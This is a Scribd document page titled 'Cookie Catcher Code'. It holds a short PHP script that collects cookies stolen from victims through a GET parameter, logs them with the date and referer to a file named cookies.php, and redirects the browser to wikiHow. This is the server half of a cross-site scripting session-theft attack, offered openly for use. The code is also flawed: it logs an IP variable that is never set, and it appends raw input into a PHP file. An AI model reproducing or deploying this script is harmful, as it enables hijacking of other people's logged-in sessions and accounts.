0% found this document useful (0 votes)
223 views2 pages

Cookie Catcher Code

This PHP script receives a cookie variable from a GET request, writes the cookie, IP address, date, and referer to a log file, then redirects the browser to the WikiHow main page.

Uploaded by

govindarajnmca
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
223 views2 pages

Cookie Catcher Code

This PHP script receives a cookie variable from a GET request, writes the cookie, IP address, date, and referer to a log file, then redirects the browser to the WikiHow main page.

Uploaded by

govindarajnmca
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 2

<?

php
$cookie = $_GET['c'];
$date=date("j F, Y, g:i a");;
$referer = getenv('HTTP_REFERER');
$fp = fopen('cookies.php', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br /> IP: '.$ip. '<br /> Date and time: ' .$date.'<br /> Referer: ' .
$referer.'<br /><br />');
fclose($fp);
header ("Location: http://www.wikihow.com/Main-Page/");
?>

Downloaded from http://www.wikihow.com

You might also like